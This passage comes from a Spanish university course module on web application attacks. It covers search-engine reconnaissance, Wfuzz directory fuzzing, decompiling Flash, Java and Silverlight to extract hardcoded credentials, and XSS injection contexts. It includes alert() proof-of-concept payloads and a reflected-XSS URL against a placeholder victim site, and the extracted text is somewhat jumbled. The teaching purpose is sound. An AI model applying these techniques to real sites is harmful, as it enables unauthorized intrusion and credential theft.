ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 Ataques a aplicaciones web
Los textos e imaacutegenes publicados en esta obra estaacuten sujetos ndashexcepto que se indique lo contrariondash a una licencia deReconocimiento-NoComercial-SinObraDerivada (BY-NC-ND) v30 Espantildea de Creative Commons Podeacuteis copiarlos distribuirlosy transmitirlos puacuteblicamente siempre que citeacuteis el autor y la fuente (FUOC Fundacioacuten para la Universitat Oberta de Catalunya)no hagaacuteis de ellos un uso comercial y ni obra derivada La licencia completa se puede consultar en httpcreativecommonsorglicensesby-nc-nd30eslegalcodees
CC-BY-NC-ND bull PID_00191662 Ataques a aplicaciones web
Iacutendice
1 Ataques de inyeccioacuten de scripts 5
11 Cross site scripting (XSS) 7
111 Ataques 9
112 Meacutetodos para introducir XSS (cross site scripting) 10
113 Diseccionando un ataque 12
114 Filtros XSS 17
12 Cross Site Request Forgery (CSRF) 19
13 Clickjacking 21
2 Ataques de inyeccioacuten de coacutedigo 26
21 LDAP Injection 28
211 LDAP Injection con ADAM de Microsoft 28
212 LDAP Injection con OpenLDAP 31
213 Conclusiones 33
214 ldquoORrdquo LDAP Injection 34
215 ldquoANDrdquo LDAP Injection 36
22 Blind LDAP Injection 39
221 Blind LDAP Injection en un entorno ldquoANDrdquo 40
222 Reconocimiento de clases de objetos de un aacuterbol
LDAP 40
223 Blind LDAP Injection en un entorno ldquoORrdquo 42
224 Ejemplos Blind LDAP Injection 43
23 XPath 48
231 XPath injection y Blind XPath Injection 48
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection 53
3 Ataques de Path Transversal 54
31 Path Disclosure 54
4 Ataques de inyeccioacuten de ficheros 56
41 Remote file inclusion 56
42 Local file inclusion 57
43 Webtrojans 59
5 Google Hacking 61
6 Seguridad por ocultacioacuten 64
61 Descompiladores de applets web 67
611 Flash 67
612 Java 69
613 NET 70
CC-BY-NC-ND bull PID_00191662 Ataques a aplicaciones web
Bibliografiacutea 73
CC-BY-NC-ND bull PID_00191662 5 Ataques a aplicaciones web
1 Ataques de inyeccioacuten de scripts
Bajo la denominacioacuten de inyeccioacuten de scripts se agrupan distintas teacutecnicas que
comparten el mismo sistema de explotacioacuten pero que persiguen distinto fin
El hecho de separarlas en distintas categoriacuteas atiende uacutenicamente a facilitar la
fijacioacuten de los objetivos perseguidos
Un ataque por inyeccioacuten de coacutedigo se plantea como objetivo lograr in-
yectar en el contexto de un dominio un coacutedigo Javascript VBScript o
simplemente HTML con la finalidad de engantildear al usuario o realizar
una accioacuten no deseada suplantaacutendole
Un concepto que debe quedar muy claro es que en este tipo de ataque el afec-
tado no es directamente el servidor como podriacutea ser en el caso de un ataque
de SQL Injection sino que el objetivo directo es el usuario Posteriormente
si el ataque es exitoso y mediante suplantacioacuten de personalidad se podraacuten
ejecutar las acciones deseadas en el servidor afectado y al que pueda accederse
desde una paacutegina web
Esto ha implicado que los fallos de inyeccioacuten de scripts no sean considerados
como amenazas criacuteticas en algunos sectores de la seguridad informaacutetica de-
clarando incluso que errores de este tipo no podriacutean llegar a comprometer la
seguridad de un sitio web Como se demostraraacute a lo largo de este apartado la
inyeccioacuten de scripts puede llegar a ser tan peligrosa como cualquier otra teacutecni-
ca si se sabe cuaacutel es su liacutemite y cuaacutel es su potencial
Se exponen a continuacioacuten casos reales relacionados con XSS ( cross site scrip-
ting) en los que la seguridad de alguacuten sitio web ha quedado comprometida A
pesar del escepticismo de algunos XSS puede permitir la obtencioacuten de privile-
gios sobre alguacuten sistema lo suficientemente deacutebil como para permitir insertar
coacutedigo Javascript
CC-BY-NC-ND bull PID_00191662 6 Ataques a aplicaciones web
Zone-H
El primero de los casos es el de Zone-H paacutegina dedicada a mantener un registro delos sitios atacados a los que se les ha modificado la apariencia de la paacutegina principallo que en argot se denomina ldquodefaceadosrdquo Este sitio registra tambieacuten los autoresidentificados de las acciones maliciosas Resulta iroacutenico que fuesen ellos mismos losatacados
El meacutetodo usado por los atacantes fue el de enviar a uno de los administradoresdel sitio un correo electroacutenico a su cuenta de Hotmail donde recientemente habiacuteanlocalizado un fallo de XSS Explotando el error lograron robar su cookie de sesioacuteny con ella pudieron visitar el sitio web de Zone-H Una vez aquiacute solicitaron unarecuperacioacuten de la contrasentildea que evidentemente se les envioacute al correo electroacutenicoque habiacutean secuestrado previamente Con esta cuenta de administrador del sitio noles quedoacute maacutes que publicar una noticia que incluiacutea coacutedigo HTML especialmenteescrito para colocar sobre el resto de la paacutegina el contenido que ellos deseaban
Samy Worm y MySpace
El segundo caso real utilizado como ejemplo donde el XSS logroacute comprometer laseguridad de un sitio fue el protagonizado por Samy Worm y MySpace Samy es unchico de Estados Unidos que detectoacute una vulnerabilidad de XSS en el famoso portalde MySpace Para explotar este fallo y aprovechando sus dotes de programacioacuten Ja-vascript Samy creoacute un gusano informaacutetico que luego se conoceriacutea como Samy Worm
Un gusano informaacutetico es un programa que se replica entre sistemas afectados por lamisma vulnerabilidad En un entorno web un gusano seriacutea un coacutedigo Javascript quese replica entre los perfiles de los usuarios del sitio Y eso fue lo que hizo Samy consu gusano replicarlo en maacutes de un milloacuten de perfiles de MySpace
El gusano no era especialmente maligno Uacutenicamente efectuaba tres acciones se re-plicaba como cualquier gusano antildeadiacutea al usuario de Samy como amigo de la personainfectada e incluiacutea la frase ldquobut most of all Samy is my herordquo en el apartado de heacuteroespersonales de cada perfil
En menos de 24 horas actuando llegoacute a bloquear el sistema de MySpace y los admi-nistradores de la red tuvieron que detener el servicio mientras limpiaban los perfilesde los usuarios infectados A Samy le detuvieron y le condenaron a pagar una multaeconoacutemica a realizar un mes de tareas para la comunidad y a un antildeo de inhabilita-cioacuten para trabajar con ordenadores
CC-BY-NC-ND bull PID_00191662 7 Ataques a aplicaciones web
Figura 1 Buacutesqueda que devolviacutea maacutes de 3000 paacuteginas con eltexto ldquosamy is my herordquo
Estos dos casos reflejan perfectamente lo criacutetica que puede llegar a ser una
vulnerabilidad XSS y el resto de sus variantes para la seguridad de un sitio web
a pesar de la opinioacuten de aquellos que no las consideran como tal
Hacker Safe
En el uacuteltimo de los casos presentado e ilustrativo de esta poleacutemica aparece la com-pantildeiacutea Hacker Safe dedicada a comercializar soluciones de seguridad Esta iniciativapromete tras el pago de cierta cantidad monetaria revisar diariamente la seguridadde un sitio web mediante el uso de herramientas automatizadas Ademaacutes permite in-cluir una pequentildea imagen con el texto ldquo100 Hacker Saferdquo en el sitio con el objetode inspirar confianza a los usuarios
Tras descubrirse y hacerse puacuteblico que algunas de las paacuteginas ldquo100 Hacker Saferdquopresentaban vulnerabilidades de tipo XSS algunos de los maacuteximos responsables dela compantildeiacutea llegaron a afirmar que los fallos de XSS no eran criacuteticos y que nunca sehabiacutean llegado a utilizar para comprometer totalmente la seguridad de un sitio Comose ha podido observar en los casos anteriores y se podraacute corroborar en las paacuteginassiguientes esta afirmacioacuten es cuanto menos ignorante
11 Cross site scripting (XSS)
El cross site scripting es la base de todas las demaacutes teacutecnicas que se van a ir ana-
lizando en este moacutedulo asiacute que es fundamental entender correctamente los
conceptos que se explican a continuacioacuten
CC-BY-NC-ND bull PID_00191662 8 Ataques a aplicaciones web
Cuando se habla de ejecucioacuten remota de coacutedigo es necesario considerar coacutemo
se realiza la interaccioacuten con la paacutegina Evidentemente toda peticioacuten enviada
al servidor va a ser procesada por este y en funcioacuten de coacutemo la interprete seraacute
o no factible un ataque mediante XSS
Una paacutegina es vulnerable a XSS cuando aquello que nosotros enviamos
al servidor (un comentario un cambio en un perfil una buacutesqueda etc)
se ve posteriormente mostrado en la paacutegina de respuesta
Esto es cuando escribimos un comentario en una paacutegina y podemos leer
posteriormente nuestro mensaje modificamos nuestro perfil de usuario
y el resto de usuarios puede verlo o realizamos una buacutesqueda y se nos
muestra un mensaje ldquoNo se han encontrado resultados para lttextogtrdquo
se estaacute incluyendo dentro de la paacutegina el mismo texto que nosotros
hemos introducido Ahiacute es donde vamos a empezar a investigar para
lograr introducir nuestro coacutedigo XSS
Una vez se ha detectado una zona de la aplicacioacuten que al recibir texto proce-
dente del usuario lo muestra en la paacutegina es el momento de determinar si es
posible utilizar esa zona como punto de ataque de XSS Para ello es posible
insertar un pequentildeo coacutedigo Javascript que muestra un mensaje de alerta para
descubrir raacutepidamente si se estaacute actuando en la liacutenea correcta de ataque Para
los ejemplos se utilizaraacute el siguiente coacutedigo
ltscriptgtalert(iexclHola Mundo)ltscriptgt
El coacutedigo anterior va a ser vaacutelido para la mayor parte de los casos aunque
como se veraacute posteriormente determinados filtros Anti-XSS pueden imposibi-
litar el uso de ciertos caracteres a la hora de introducir el coacutedigo Javascript Por
ejemplo las comillas dobles o los caracteres de ldquomayor querdquo y ldquomenor querdquo
suelen estar prohibidos
Imaginemos que disponemos de un perfil en una red social donde se nos permite modi-ficar nuestra descripcioacuten personal En lugar de escribir otra informacioacuten en este apartadose introduce el coacutedigo JavaScript anterior Si al visitar de nuevo nuestro perfil se muestrauna ventana de alerta con el mensaje ldquoiexclHola Mundordquo se puede afirmar que la paacutegina encuestioacuten es vulnerable a XSS
Dentro de los posibles fallos de XSS podemos distinguir dos grandes categoriacuteas
bull Permanentes El ejemplo comentado en el paacuterrafo anterior pertenece a esta
categoriacutea Su denominacioacuten se debe al hecho de que como mostraba el
ejemplo la ventana de alerta en Javascript queda almacenada en alguacuten
lugar habitualmente una base de datos SQL y se va a mostrar a cualquier
usuario que visite nuestro perfil Evidentemente este tipo de fallos de XSS
son mucho maacutes peligrosos que los no permanentes que se comentan a
continuacioacuten
CC-BY-NC-ND bull PID_00191662 9 Ataques a aplicaciones web
bull No permanentes Esta categoriacutea queda ilustrada con el caso que ahora se
menciona Nos encontramos con una paacutegina web que dispone de busca-
dor el cual al introducir una palabra inventada o una cadena aleatoria de
caracteres muestra un mensaje del tipo ldquoNo se han encontrado resultados
para la buacutesqueda lttextogtrdquo donde lttextogt es la cadena introducida en
el campo de buacutesqueda
Si en la buacutesqueda se introduce como lttextogt el coacutedigo Javascript antes indi-
cado y de nuevo aparece la ventana de alerta significa que la aplicacioacuten es
vulnerable a XSS La diferencia es que en esta ocasioacuten los efectos de la accioacuten
no son permanentes
XSS (cross site scripting) consiste en la posibilidad de introducir coacutedigo
Javascript en una aplicacioacuten web lo que permite realizar una serie de
acciones maliciosas en la misma
Para inyectar el coacutedigo se localiza una zona de la paacutegina que por su funcio-
nalidad incorpora dentro de su propio coacutedigo HTML el coacutedigo Javascript que
anteriormente se ha introducido en alguacuten lugar de la aplicacioacuten Si este coacutedigo
se ha escrito en alguacuten campo donde queda almacenado en una base de datos
de forma permanente se mostraraacute cada vez que un usuario acceda a la paacutegina
Sin embargo las vulnerabilidades maacutes habituales son las no permanentes En
estos casos es necesario recurrir a la ingenieriacutea social para efectuar el ataque
Para ello es necesario fijarse en primer lugar en la URL de la paacutegina que deberaacute
ser algo similar a
httpwwwvictimacomsearchquery=ltscriptgtalert(Hola Mundo)ltscriptgt
Una vez se disponga de esta URL se deberaacute de procurar que la viacutectima haga
clic sobre ella ejecutando el coacutedigo Javascript Esta situacioacuten corresponderiacutea
ya a otro aacutembito de estudio como es la ingenieriacutea social
111 Ataques
Vamos a comentar a continuacioacuten las posibles implicaciones de seguridad que
pueden presentar un fallo de este tipo Ha de considerarse que se trata uacutenica-
mente de ideas generales y que el liacutemite lo pone la imaginacioacuten del atacante
y las funcionalidades de la aplicacioacuten objetivo del ataque
bull Un ataque de XSS puede tomarelcontrolsobreelnavegadordelusua-
rioafectado y como tal realizar acciones en la aplicacioacuten web Si se ha
logrado que un usuario administrador ejecute nuestro coacutedigo Javascript
las posibilidades de actuacioacuten maliciosa son muy superiores Seraacute posible
por citar alguacuten ejemplo desde borrar todas las noticias de una paacutegina a
generar una cuenta de administrador con los datos que nosotros especifi-
CC-BY-NC-ND bull PID_00191662 10 Ataques a aplicaciones web
quemos Si el coacutedigo Javascript es ejecutado por un usuario sin derechos de
administracioacuten se podraacute realizar cualquier modificacioacuten asociada al perfil
especiacutefico del usuario en el sitio web
bull Otra posible accioacuten a efectuar haciendo uso de estas teacutecnicas es el phishing
Mediante Javascript como hemos visto podemos modificar el comporta-
miento y la apariencia de una paacutegina web Esto permite crear un formula-
rio de login falso o redirigir el submit de uno existente hacia un dominio
de nuestro control
bull Igualmente se puede ejecutar ataques de defacement1 apoyaacutendonos en teacutec-
nicas que explotan vulnerabilidades XSS
bull Por otra parte aunque menos habitual es posible realizar un ataquedede-
negacioacutendeserviciosdistribuidos (distributed dennial of services DDoS)
Para ello se forzaraacute mediante coacutedigo Javascript a que los navegadores ha-
gan un uso intensivo de recursos muy costosos en ancho de banda o ca-
pacidad de procesamiento de un servidor de forma asiacutencrona
bull Para finalizar tenemos el gusano XSS un coacutedigo Javascript que se propaga
dentro un sitio web o entre paacuteginas de Internet Supongamos la existen-
cia de un fallo XSS en la descripcioacuten personal de los usuarios de una red
social En esta situacioacuten un usuario malintencionado podriacutea crear coacutedigo
Javascript que copiase el coacutedigo del gusano al perfil del usuario que visita
otro perfil infectado y que adicionalmente realizase alguacuten tipo de modifi-
cacioacuten en los perfiles afectados
Como se puede comprobar las posibilidades que ofrece el XSS son realmen-
te amplias Las uacutenicas limitaciones la constituye la imposibilidad de ejecutar
coacutedigo fuera del navegador dado que la sandbox sobre la que se ejecuta no
permite el acceso a ficheros del sistema y a las propias funcionalidades que
ofrezca el sitio web objeto del posible ataque
112 Meacutetodos para introducir XSS (cross site scripting)
Para exponer las distintas metodologiacuteas que permiten introducir coacutedigo Javas-
cript en una paacutegina vulnerable a XSS vamos a desarrollar una serie de praacutecticas
de la teacutecnica Abordaremos los meacutetodos maacutes comunes para insertar el coacutedigo
malicioso generado Los meacutetodos expuestos se nombraraacuten en funcioacuten de las
zonas de coacutedigo de la aplicacioacuten web donde va a quedar ubicado el coacutedigo
Javascript introducido
bull ElcoacutedigosecopiaentredosetiquetasHTML Es el modo maacutes sencillo
Simplemente debemos introducir el coacutedigo Javascript que deseemos eje-
cutar
(1)Es maacutes que la modificacioacuten de laapariencia original de una paacuteginaweb para que muestre un mensajenormalmente reivindicativo en lu-gar de su apariencia normal
CC-BY-NC-ND bull PID_00191662 11 Ataques a aplicaciones web
ltscriptgtalert(iexclHola Mundo)ltscriptgt
bull Elcoacutedigosecopiadentrodeunaetiquetavaluedeunaetiquetaltin-
putgt El ejemplo baacutesico es el de los buscadores en sitios web y que se des-
cribioacute anteriormente Cuando realizamos una buacutesqueda a traveacutes de ellos
lo habitual es que el teacutermino introducido se copie dentro del campo del
buscador Esto en HTML quedariacutea como el coacutedigo que se muestra a con-
tinuacioacuten
ltinput type=text name=q2 value=[busqueda] gt
Como se puede observar nuestro coacutedigo queda situado entre unas comillas
dobles de un atributo perteneciente a una etiqueta HTML que no permiten
que este se ejecute Por ello seraacute necesario cerrar la etiqueta HTML en la
que nos encontremos y posteriormente insertar el coacutedigo Javascript
gtltscriptgtalert(iexclHola Mundo)ltscriptgtltdiv class=
Esta seriacutea la combinacioacuten resultante
ltinput type=text name=q value=gt
ltscriptgtalert(Hola Mundo)ltscriptgtltdiv class= gt
Al final del coacutedigo generado se ha introducido una etiqueta ltdivgt para
evitar de este modo que el coacutedigo HTML quede malformado
bull ElcoacutedigosecopiadentrodeuncomentarioHTML Este caso suele ser
comuacuten en paacuteginas mal programadas que dejan mensajes de depuracioacuten
dentro del coacutedigo fuente HTML Un ejemplo de lo que podriacuteamos encon-
trar en una situacioacuten de este tipo es el siguiente
lt-- La busqueda fue [busqueda] --gt
Donde [busqueda] corresponderiacutea a la cadena de texto buscada En es-
te caso se deberiacutean cerrar los caracteres de comentario HTML introducir
nuestro coacutedigo Javascript y posteriormente volver a abrir los comentarios
HTML De este modo el coacutedigo creado por nosotros deberiacutea compenetrarse
perfectamente con el coacutedigo original de la paacutegina
--gtltscriptgtalert(iexclHola Mundo)ltscriptgtlt-
Esta podriacutea ser la combinacioacuten adecuada
lt-- La busqueda fue --gtltscriptgtalert(Hola Mundo)ltscriptgt
lt-- --gt
CC-BY-NC-ND bull PID_00191662 12 Ataques a aplicaciones web
bull ElcoacutedigosecopiadentrodeuncoacutedigoJavascript Esto es habitual cuan-
do las paacuteginas utilizan datos introducidos por el usuario para generar al-
guacuten tipo de evento personalizado o para almacenar datos que se van a usar
posteriormente en alguacuten otro lugar de la aplicacioacuten web La sintaxis seriacutea
como la siguiente
ltscriptgt var busqueda = [busqueda] ltscriptgt
En este punto no es necesario incluir las etiquetas ltscriptgt sino que po-
